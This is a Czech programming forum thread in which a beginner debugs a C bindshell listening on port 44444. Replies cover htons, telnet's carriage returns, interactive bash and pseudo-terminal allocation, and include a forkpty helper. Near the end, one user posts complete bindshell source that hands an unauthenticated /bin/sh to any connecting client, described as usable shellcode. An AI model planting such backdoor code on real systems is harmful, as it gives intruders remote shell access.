Dotaz: bindshell v C

[qadamc03]

Dobry den,

mam takovyto jednoduchy bindshell napsany v C:

www.qg.ic.cz/a/bindshell.c

Podle me by mel po spusteni fungovat tak, ze bude cekat na portu 44444 a po pripojeni (treba pres telnet) mi preda shell. Narazil jsem vsak na dva problemy:

Spustim program

$ ./bindshell

Pokusim se pripojit na port 44444:

$ telnet localhost 44444
Trying 127.0.0.1...
telnet: Unable to connect to remote host: Connection refused

Program neposloucha na portu 44444, divne, podivam se tedy pres nmap, kde ve skutecnosti visi:

$ sudo nmap -sS -p1-65000 localhost

Starting Nmap 4.76 ( http://nmap.org ) at 2009-02-07 13:03 CET
Interesting ports on localhost.localdomain (127.0.0.1):
Not shown: 64997 closed ports
PORT      STATE SERVICE
40109/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 4.83 seconds

Program je na portu 40109, proc? Zkusim se k nemu tedy pripojit:

$ telnet localhost 40109
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
ls
: command not found
id
: command not found

Nemam shell, pouze "visim" v konzoli. Proc? V sitovem programovani jsem zacatecnik, muze mi prosim nekdo tyto dva jevy objasnit? Budu moc vdecny.

Odpovědi

[Vojtěch Horký]

Program je na portu 40109, proc? Zkusim se k nemu tedy pripojit:

man htons

Nemam shell, pouze "visim" v konzoli. Proc?

Tipuju, že shell nedostal proměnné prostředí (posl. parametr execve) - především $PATH a tudíž netuší, kde má hledat binárky.

BTW - argv[0] není cesta, ale pouze basename (tj. spouštět stylem execve("/bin/sh", {"sh", NULL}, environ)).

[qadamc03]

Na htons jsem uplne zapomnel, dekuji. Porty se uz prirazuji korektne. Program jsem tedy upravil takto:

www.qg.ic.cz/a/bindshell.c

Ale problem s "command not found" stale pretrvava:/
 

[Vojtěch Horký]

Ale problem s "command not found" stale pretrvava:/

Pokud se přidá parametr -i pro interaktivní shell, tak mi to běhá (ale dost dobře nechápu proč to bez toho nefunguje a proč si myslí, že argv[0] je '').

[pht]

Tak sem hoďte zdroják. Jinak tohle je dost obvyklý problém -- má to nějaký jednoduchý důvod, ale teď si nemůžu vzpomenout proč to tak dělá. Lze to dohledat. (Tuším že se to dalo obejít středníkem, zkuste zadat "ls;".) I když to vyřešíte, tak dostanete jen dost primitivní shell. Zkuste to přes alokaci pty, tam dostanete něco použitelného.

[luky]

1. cislo portu prohnat funkci htons().
2. pokud shell neni interaktivni, tak nevypisuje prompt. mozno vynutit parametrem -i.
3. telnet do radku pridava \r. muzete prikazy zadavat se strednikem (takze to smeti bude az za nim), nebo se pripojovat treba netcatem, nebo to programove osetrit.

[luky]

A to \r taky zpusobuje iluzi prazdneho jmena tim, ze presouva kurzor na zacatek radku a dalsi vypisovany text prepisuje ten puvodni. Pri pouziti delsiho jmena to je hezky videt.

Kdyz do argv[0] dam "ABCDEFGHIJKLMNOPQRSTUVWXYZ" a zadam prikaz "id", ktery telnet posle jako "id\r", tak shell v mem pripade vypisuje chybu:

ABCDEFGHIJKLMNOPQRSTUVWXYZ: line 1: id\r: command not found\n

kterou vidim jako:

: command not foundTUVWXYZ: line 1: id

[qadamc03]

Dekuji, pomohlo to, program jsem tedy upravil, ted uz ma jen jednu mouchu:

$ nc localhost 44444
sh: no job control in this shell
sh-3.2$

Jak se prosim zbavim te hlasky "no job control in this shell"

[qadamc03]

Tak jsem si vsiml, ze tu hlasku to vypisuje pouze pokud bash volam takto:

execle("/bin/bash", "/bin/bash", "-i", NULL, envp);

Pokud ho zavolam takto (bez parametru -i):

execle("/bin/bash", "/bin/bash", NULL, envp);

je to OK. Ja bych tam ten prompt ale potreboval, nenapada vas jak toho dosahnout?

[pht]

Tak znova.

Pokud to spustíte bez -i, tak se k Vám bash chová jako byste byl skript, tj. nenabízí vám prompt (mimo jiné).

Pokud ho spustíte s -i, řeknete mu že chcete "interaktivní režim". Tj. prompt se zobrazí. Proč Vám tedy nenabídne job control? Protože nemáte alokovaný terminál, místo toho je bash pouze napojen na síťový socket. Jelikož je v interaktivním režimu běžné mít job control, tak Vás na tuto anomálii upozorní. Další věci které nefungují bez pořádného terminálu jsou například ctrl-c, ctrl-z.

[qadamc03]

A je nejaka moznost jak mu ten terminal alokovat i kdyz pouzivam interaktivni rezim? Jednoduse zabranit vypisu te hlasky - nevypada to tam pekne.

[Messa]

man 7 pty

man posix_openpt

[qadamc03]

A jakym zpusobem to zapomponovat do toho programu? Ta funkce vraci file describtor a ten pak presmeruju do toho socketu stejne jako to delam se stdin, stdout a stderr?

[Messa]

Ano, a bash připojíte na slave.

[qadamc03]

Jaky slave?

 

[luky]

Pro ten terminál budete mít dva deskriptory - master a slave. Všechno je to popsáno v těch odkazovaných manuálových stránkách.

[qadamc03]

Omlouvam se, asi jsem slepy, ale tady:

man posix_openpt

v sekci return value, je ze ta funkce vraci "a non-negative file descriptor which is the lowest numbered unused descriptor", coz je jeden fd. Kde tedy sezenu ten druhy?

[Sinuhet]

$ man pts
   ...

   Unix 98 pseudo-terminals
       An unused Unix 98 pseudo-terminal master is opened by calling posix_openpt(3).  (This function opens the  mas‐
       ter clone device, /dev/ptmx; see pts(4).)  After performing any program-specific initializations, changing the
       ownership and permissions of the slave device using grantpt(3), and unlocking the  slave  using  unlockpt(3)),
       the  corresponding slave device can be opened by passing the name returned by ptsname(3) in a call to open(2).

   ...

[qadamc03]

Tak ja uz se v tom teda nejak nevyznam:-/ Muze mi prosim nejaka dobra duse poradit tak vse vyse zminene naroubuji do tohoto kodu?

...
// redirect
dup2(sock2, 0);
dup2(sock2, 1);
// execute
execle("/bin/bash", "/bash", "-i", NULL, envp);

[luky]

Zhruba jde o to, že až otevřete ten terminál, tak vytvoříte nový proces, ve kterém na slave toho terminálu píchnete ten shell a v původním procesu budete přesypávat data z masteru do socketu a zpátky. Není to nic složitého, ale psát to za vás nikdo nebude. Na internetu se válí spousta dokumentace a kódu pro inspiraci.

man fork, wait, select, write/read(/send/recv), ...

Pak se taky možná dostanete k signálům pro kontrolu terminálu/procesu a jejich předávání z klienta a buď se na to vykašlete, nebo budete o kus chytřejší :)

[pht]

Já jsem to měl takhle nějak, za použití neposixího forkpty, tak se můžete inspirovat. Případne můžou pánové šťouralové vylepšit.

static void run_terminal(int socket)
{
        pid_t p, pp;
        int m;
        struct winsize ws = { .ws_row = 25, .ws_col = 80,
                .ws_xpixel = 0,  .ws_ypixel = 0 };

        p = forkpty(&m, NULL, NULL, &ws);
        if (p < 0) {
                error("forkpty");
                close(socket);
                close(m);
                return;
        }

        if (p > 0) {
                pp = fork();
                if (pp < 0) {
                        error("fork");
                        close(socket);
                        close(m);
                        return;
                }
                if (pp > 0) {
                        close(socket);
                        close(m);
                        return;
                }
                close(listen_socket);
                say("entering copy loop");
                copy_loop(m, m, socket, socket);
                say("copy loop finished");
                kill(p, 1);
                exit(0);
        } else {
                close(listen_socket);
                close(socket);
                close(m);
                say("spawning shell");
                execl("/bin/bash", "bash", "-i", "-l", NULL);
                bail("execl");
        }
}

[Messa]

Skoro mě napadá otázka, na jaké škole se dávají takovéhle úkoly?

[pht]

Bojím se, že u nás asi na nijaké, přitom to je celkem standardní příklad na programování v unixu a na bezpečnost jakbysmet.

[pht]

3. telnet do radku pridava \r.

Jo, to je ten jednoduchý důvod

[murzim]

Ahoj ja pouzivam tento kod - je kratsi a ve vysledku i uspornejsi jako shellkod:

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc,cli;
struct sockaddr_in serv_addr;

int main(){
    serv_addr.sin_family=2;
    serv_addr.sin_addr.s_addr=0;
    serv_addr.sin_port=0x9CAD;   // Toto je to tvoje cislo portu 44444 zapsane v hex a prevracene - cili klasicky --> 0xAD9C ---> AD|9C --> 0x9CAD
    soc=socket(2,1,0);
    bind(soc,(struct sockaddr *)&serv_addr,0x10);
    listen(soc,1);
    cli=accept(soc,0,0);
    dup2(cli,0);
    dup2(cli,1);
    dup2(cli,2);
    execve("/bin/sh",0,0);
}

jinak doporucuji namisto telnet pouzit nc cili:

nc localhost 44444

 

[Vojtěch Horký]

Nedá mi to, abych nezareagoval: používat magická čísla (soc=socket(2,1,0); atd.) je cesta do pekel. Ten původní kód je přehlednější a nepřijde mi o tolik delší.